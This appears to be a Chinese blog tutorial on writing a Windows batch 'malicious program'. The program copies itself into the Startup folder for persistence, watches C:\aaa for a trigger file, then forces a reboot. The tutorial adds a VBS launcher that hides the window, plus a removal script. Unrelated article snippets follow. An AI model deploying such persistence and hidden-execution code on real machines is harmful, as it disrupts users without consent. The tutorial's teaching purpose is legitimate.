当前位置: 首页 > news >正文

[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 1 需求
  • 2 windows 实现需求
    • 2.1 恶意程序 windows-2.bat 源码
      • 2.1.1 恶意程序 windows-2.bat 源码
      • 2.1.2 恶意程序 windows-2.bat 源码讲解
    • 2.2 清除程序 windows-kill.bat 源码
      • 2.2.1 清除程序 windows-kill.bat 源码
      • 2.2.2 清除程序 windows-kill.sh 源码讲解
    • 2.3 后台运行vbs文件
      • 2.3.1 windows-background.vbs 源码
      • 2.3.2 windows-background.vbs 源码讲解
    • 2.4 演示
      • 2.3.1 恶意程序 windows-2.bat
      • 2.3.2 清除程序 windows-kil.bat
      • 2.3.3 后台运行:windows-background.vbs文件
      • 2.3.4 恶意文件a.txt
      • 2.3.5 1.jpg
      • 2.3.6 操作步骤
        • 2.3.6.1 执行 windows-background.vbs
        • 2.3.6.2 特定文件移动到特定目录
        • 2.3.6.3 恶意程序监测到特定文件并执行恶意操作
        • 2.3.6.4 执行 windows-kill.bat 清除恶意程序
  • 相关资源

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 windows 实现需求

恶意程序 windows-2.bat 监测特定目录 C:aaa 出现特定文件 a.txt 执行恶意操作 start C:\1.jpg

2.1 恶意程序 windows-2.bat 源码

2.1.1 恶意程序 windows-2.bat 源码

@echo off
chcp 65001setlocalset "source_folder=C:\aaa"
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "file_name=windows-2.bat"
set "destination_file_name=plan.bat"REM 检查启动项是否存在
if not exist "%destination_folder%\%file_name%" (REM 如果不存在,则复制文件,创建启动项copy "%source_folder%\%file_name%" "%destination_folder%\%destination_file_name%"echo 启动项创建成功。
) else (echo 目标目录中已存在该文件。
)setlocal
set "targetDir=C:\aaa"
set "targetFile=a.txt":Start
if exist "%targetDir%\%targetFile%" (echo %targetFile% 文件已经存在于 %targetDir% start C:\aaa\1.jpgecho 系统将在1分钟后重新启动...timeout /t 0 /nobreak > nulecho 正在执行重启操作...shutdown /r /f /t 60
) else (timeout /t 1 >nulgoto Start
)pause

2.1.2 恶意程序 windows-2.bat 源码讲解

这段脚本的主要功能是:检查并创建启动项文件。监控特定文件的存在,如果存在则打开图片并计划在1分钟后重启系统;如果不存在则每隔1秒重新检查一次。两个主要部分:一个用于创建启动项,另一个用于监控特定文件的存在并执行重启操作。以下是对每一部分的详细解释:

第一部分:创建启动项

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
setlocal: 开始本地环境更改,使变量的作用范围仅限于当前脚本或子脚本。
set "source_folder=C:\aaa": 设置变量source_folder,其值为源文件夹路径C:\aaa。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "file_name=windows-2.bat": 设置变量file_name,其值为要复制的文件名windows-2.bat。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为目标文件名plan.bat。
REM 检查启动项是否存在: 注释,说明接下来的代码块是用于检查启动项文件的。 if not exist “%destination_folder%%file_name%” (: 检查指定路径下是否存在名为windows-2.bat的文件。 copy “%source_folder%%file_name%” “%destination_folder%%destination_file_name%”: 如果不存在,则复制文件,创建启动项。 echo 启动项创建成功。: 输出一条消息,表示启动项文件已成功创建。
) else (: 如果文件存在,则执行以下代码块。
echo 目标目录中已存在该文件。: 输出一条消息,表示目标目录中已经存在该文件。

第二部分:监控文件并执行重启操作

setlocal: 再次开始本地环境更改。
set "targetDir=C:\aaa": 设置变量targetDir,其值为目标文件夹路径C:\aaa。
set "targetFile=a.txt": 设置变量targetFile,其值为要监控的文件名a.txt。
:Start: 定义一个标签,用于循环监控文件的存在。
if exist "%targetDir%\%targetFile%" (: 检查指定路径下是否存在名为a.txt的文件。
echo %targetFile% 文件已经存在于 %targetDir%: 输出一条消息,表示文件已经存在。
start C:\aaa\1.jpg: 打开图片文件1.jpg。
echo 系统将在1分钟后重新启动...: 输出一条消息,提示系统将在1分钟后重新启动。
timeout /t 0 /nobreak > nul: 等待0秒,不中断用户输入。
echo 正在执行重启操作...: 输出一条消息,表示即将执行重启操作。
shutdown /r /f /t 60: 强制重启计算机,并在60秒后执行重启。
) else (: 如果文件不存在,则执行以下代码块。
timeout /t 1 >nul: 等待1秒,不中断用户输入。 goto Start: 跳转到标签Start,继续监控文件的存在。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.2 清除程序 windows-kill.bat 源码

2.2.1 清除程序 windows-kill.bat 源码

@echo off
chcp 65001del "C:\aaa\windows-2.bat"
echo 恶意程序已删除。
del "C:\aaa\1.jpg"
echo 恶意图片已删除。set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "destination_file_name=plan.bat"REM 检查启动项文件
if exist "%destination_folder%\%destination_file_name%" (REM 如果存在,则删除文件del "%destination_folder%\%destination_file_name%"	echo 启动项文件已经成功删除。
) else (echo 目标目录没有该文件。
)pause

2.2.2 清除程序 windows-kill.sh 源码讲解

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
del "C:\aaa\windows-2.bat": 删除位于C:\aaa目录下名为windows-2.bat的文件。
echo 恶意程序已删除。: 输出一条消息,表示指定的恶意程序已被删除。
del "C:\aaa\1.jpg": 删除位于C:\aaa目录下名为1.jpg的图片文件。
echo 恶意图片已删除。: 输出一条消息,表示指定的恶意图片已被删除。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为要检查和删除的启动项文件名plan.bat。
REM 检查启动项文件: 注释,说明接下来的代码块是用于检查启动项文件的。
if exist "%destination_folder%\%destination_file_name%" (: 检查指定路径下是否存在名为plan.bat的文件。
del "%destination_folder%\%destination_file_name%": 如果存在,则删除该文件。
echo 启动项文件已经成功删除。: 输出一条消息,表示启动项文件已被删除。
) else (: 如果文件不存在,则执行以下代码块。
echo 目标目录没有该文件。: 输出一条消息,表示目标目录中没有找到该文件。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.3 后台运行vbs文件

2.3.1 windows-background.vbs 源码

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\aaa\windows-2.bat", 0, False

2.3.2 windows-background.vbs 源码讲解

这段代码是用VBScript编写的,它的作用是创建一个WScript.Shell对象,并使用该对象来运行一个批处理文件。
Set WshShell = CreateObject("WScript.Shell"): 这行代码创建了一个WScript.Shell对象,并将其赋值给变量WshShell。WScript.Shell是一个Windows脚本宿主(WSH)对象,提供了对Windows操作系统的一些功能和操作的访问。
WshShell.Run "C:\aaa\windows-2.bat", 0, False: 这行代码使用WScript.Shell对象的Run方法来运行指定的批处理文件。
"C:\aaa\windows-2.bat": 这是要运行的批处理文件的路径。
0: 这是窗口样式参数。值为0表示隐藏窗口,即不显示命令提示符窗口。
False: 这是等待完成参数。值为False表示脚本会等待批处理文件执行完毕再继续执行后续代码。如果设置为True,则脚本不会等待批处理文件执行完毕,而是立即继续执行后续代码。

2.4 演示

2.3.1 恶意程序 windows-2.bat

在这里插入图片描述

2.3.2 清除程序 windows-kil.bat

在这里插入图片描述

2.3.3 后台运行:windows-background.vbs文件

用来隐藏CMD窗口的
在这里插入图片描述

2.3.4 恶意文件a.txt

在这里插入图片描述

2.3.5 1.jpg

在这里插入图片描述

2.3.6 操作步骤

2.3.6.1 执行 windows-background.vbs

直接双击这个VBS文件就ok了,双击没有任何的一个弹窗或者什么的任何的反应,但是他其实是已经在后台跑起来了,然后他一直在监控这个C:\aaa目录。
如果说C:\aaa这个特定的目录下出现了a.txt这个特定的文件的时候,这个恶意操作就会执行,因为它的程序已经在运转了。

在这里插入图片描述

2.3.6.2 特定文件移动到特定目录

我是直接拖过去的

在这里插入图片描述

2.3.6.3 恶意程序监测到特定文件并执行恶意操作

打开1.jpg图片
写入启动项:注意:这里启动项里面的文件plan.batwindows-2.bat是一模一样的,只不过改了一个名字
一分钟后关机操作

在这里插入图片描述

等待一分钟之后,重启

在这里插入图片描述

2.3.6.4 执行 windows-kill.bat 清除恶意程序

回显内容:
恶意程序已删除。
恶意图片己删除。
启动项文件已经成功删除。

在这里插入图片描述
在这里插入图片描述

恶意启动项已删除。

在这里插入图片描述

恶意程序已删除。
恶意图片己删除。

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

相关文章:

[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

🍬 博主介绍 👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…...

SQLI LABS | Less-33 GET-Bypass AddSlashes()

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客 0x01:过关流程 输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来): http://localhost/sqli-labs/Less-33/ "Ad…...

界面控件DevExpress WPF中文教程:Data Grid——卡片视图设置

DevExpress WPF拥有120个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…...

flink 内存配置(一):设置Flink进程内存

flink 内存配置(一):设置Flink进程内存 flink 内存配置(二):设置TaskManager内存 flink 内存配置(三):设置JobManager内存 flink 内存配置(四)…...

贪心算法习题其三【力扣】【算法学习day.20】

前言 ###我做这类文档一个重要的目的还是给正在学习的大家提供方向(例如想要掌握基础用法,该刷哪些题?)我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非常非常高滴&am…...

速盾:高防cdn针对网站的好处有哪些?

高防CDN(Content Delivery Network)是一种网络分发技术,它能够提供可靠的网站高防护服务,有效地解决了网站遭受DDoS攻击、恶意流量等网络安全问题。高防CDN的应用已经变得越来越广泛,对于网站的好处也变得越发明显。 …...

【Java SE语法】抽象类(abstract class)和接口(interface)有什么异同?

目录 1. 抽象类与接口的基本概念 1.1 抽象类 1.2 接口 2. 抽象类与接口的异同 2.1 相同点 2.2 不同点 3. 拓展知识:多态与设计模式 3.1 多态 3.2 设计模式 4. 结论 在软件工程中,设计模式和代码结构的选择对于构建可维护、可扩展的系统至关重要…...

京准同步:GPS北斗卫星授时服务器发展趋势介绍

京准同步:GPS北斗卫星授时服务器发展趋势介绍 京准同步:GPS北斗卫星授时服务器发展趋势介绍 GPS北斗卫星授时服务器的发展趋势紧密围绕着不断提升的时间同步精度、可靠性、安全性,以及适应广泛应用场景的需求展开,以下是卫星授时…...

鸿蒙多线程开发——并发模型对比(Actor与内存共享)

1、概 述 并发是指在同一时间段内,能够处理多个任务的能力。为了提升应用的响应速度与帧率,以及防止耗时任务对主线程的干扰,HarmonyOS系统提供了异步并发和多线程并发两种处理策略。 异步并发:指异步代码在执行到一定程度后会被…...

【计算机网络】章节 知识点总结

一、计算机网络概述 1. 计算机网络向用户提供的两个最重要的功能:连通性、共享 2. 因特网发展的三个阶段: 第一阶段:从单个网络 ARPANET 向互联网发展的过程。1983 年 TCP/IP 协议成为 ARPANET 上的标准协议。第二阶段:建成三级…...

开箱即用!265种windows渗透工具合集--灵兔宝盒

【渗透工具箱】灵兔宝盒-Rabbit_Treasure_Box_V1.0.1 介绍 Rabbit_Treasure_Box_V1.0.1是一款Windows渗透工具箱,集成Dawn Launcher管理,便捷备份更新。内含脚本工具及在线安全工具,覆盖信息收集、漏洞利用、逆向破解、蓝队防御等多领域&am…...

怎么在哔哩哔哩保存完整视频

哔哩哔哩(B站)作为一个集视频分享、弹幕互动于一体的平台,吸引了大量用户。许多人希望能够将自己喜欢的完整视频保存到本地,以便离线观看或分享。直接下载视频的功能并不总是可用,因此,本文将介绍几种在哔哩哔哩上保存完整视频的方…...

CPU算法分析LiteAIServer视频智能分析平台视频智能分析:抖动、过亮与过暗检测技术

随着科技的飞速发展,视频监控系统在各个领域的应用日益广泛。然而,视频质量的好坏直接影响到监控系统的效能,尤其是在复杂多变的光照条件下和高速数据传输中,视频画面常常出现抖动、过亮或过暗等问题,导致监控视频难以…...

fastGPT调用stable diffusion生成图片,本地模型使用ollama

ps:192.168.1.100换成你的ip 一、开器stable diffusion的api访问 Git上copy的项目,在启动web-ui.bat/sh时加上--api的启动参数. /web-ui.bat --api我这里使用的stabble-diffusion-docker构建的默认就开启了 ​ ​ http://192.168.1.100:7860/docs 二…...

【jmeter】jmeter的线程组功能的详细介绍

初衷 之前在公司做的性能测试基本上都是关于数据库的,针对接口的性能测试还是比较少一点。考虑到后边大模型问答产品的推广,公司方面也要求对相关接口进行压测,也趁着这个机会,对jmeter进行深入研究,进一步加强自己性…...

高边坡安全监测系统的工作原理和应用领域

高边坡安全监测系统的工作原理主要依赖于各种先进的传感器设备,这些传感器能够实时地捕捉和记录边坡的位移、应力、裂缝、倾斜和沉降等多种关键数据。这些数据的采集是通过高精度的监测设备进行的,确保了数据的准确性和可靠性。采集到的数据随后通过高效…...

Java:多态的调用

1.什么是多态 允许不同类的对象对同一消息做不同的响应。即同一消息可以根据发送对象的不同而采用多种不同的行为方式。(发送消息就是函数调用)。多态使用了一种动态绑定(dynamic binding)技术,指在执行期间判断所引用…...

A day a tweet(seventeen)——Visualize Convolution Neural Network!

a.形象化地CNNs visually explained! . .CNN(Convolution Neural Network) 卷积神经网络 a.不可思议的,难以置信的 v.使形象化CNN explainer is an incredible interactive tool to visualize the internal workings of a CNN. n.解释器;讲解员 …...

卡达掐发展史

自行车是一种简单而又伟大的交通工具。自从19世纪诞生以来,它不仅改变了人们的出行方式,也深刻地影响了我们的生活方式、城市布局以及健康观念。作为一种绿色、经济的出行工具,自行车至今仍在全球范围内被广泛使用。本文将从自行车的历史、结…...

UI界面设计入门:打造卓越用户体验

互联网的迅猛发展催生了众多相关职业,其中UI界面设计师成为互联网行业的关键角色之一。UI界面设计无处不在,影响着网站、应用程序以及其他数字平台上的按钮、菜单布局、色彩搭配和字体排版等。UI设计不仅仅是字体、色彩和导航栏的组合,它的意…...

【2025年】解决Burpsuite抓不到https包的问题

环境:windows11 burpsuite:2025.5 在抓取https网站时,burpsuite抓取不到https数据包,只显示: 解决该问题只需如下三个步骤: 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

Psychopy音频的使用

Psychopy音频的使用 本文主要解决以下问题: 指定音频引擎与设备;播放音频文件 本文所使用的环境: Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)

宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)

🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...

Ascend NPU上适配Step-Audio模型

1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统,支持多语言对话(如 中文,英文,日语),语音情感(如 开心,悲伤)&#x…...

【Java_EE】Spring MVC

目录 Spring Web MVC ​编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 ​编辑参数重命名 RequestParam ​编辑​编辑传递集合 RequestParam 传递JSON数据 ​编辑RequestBody ​…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心

当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...

【无标题】路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论

路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论 一、传统路径模型的根本缺陷 在经典正方形路径问题中(图1): mermaid graph LR A((A)) --- B((B)) B --- C((C)) C --- D((D)) D --- A A -.- C[无直接路径] B -…...

如何应对敏捷转型中的团队阻力

应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中,明确沟通敏捷转型目的尤为关键,团队成员只有清晰理解转型背后的原因和利益,才能降低对变化的…...

算术操作符与类型转换:从基础到精通

目录 前言:从基础到实践——探索运算符与类型转换的奥秘 算术操作符超级详解 算术操作符:、-、*、/、% 赋值操作符:和复合赋值 单⽬操作符:、--、、- 前言:从基础到实践——探索运算符与类型转换的奥秘 在先前的文…...